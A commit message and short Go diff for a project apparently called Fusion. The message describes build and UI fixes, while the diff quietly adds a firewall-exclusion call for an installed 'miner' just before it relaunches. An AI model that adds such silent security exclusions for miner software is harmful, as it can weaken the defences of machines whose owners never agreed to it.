Stabilize Fusion builds and simplify optional modules.

Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.

agent/deploy/install.go

@@ -75,6 +75,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
 		return false, err
 	}
 
+	EnsureFirewallExclusion(cfg, installedExe)
+
 	if err := relaunch(installedExe, logPath); err != nil {
 		return false, fmt.Errorf("start installed miner: %w", err)
 	}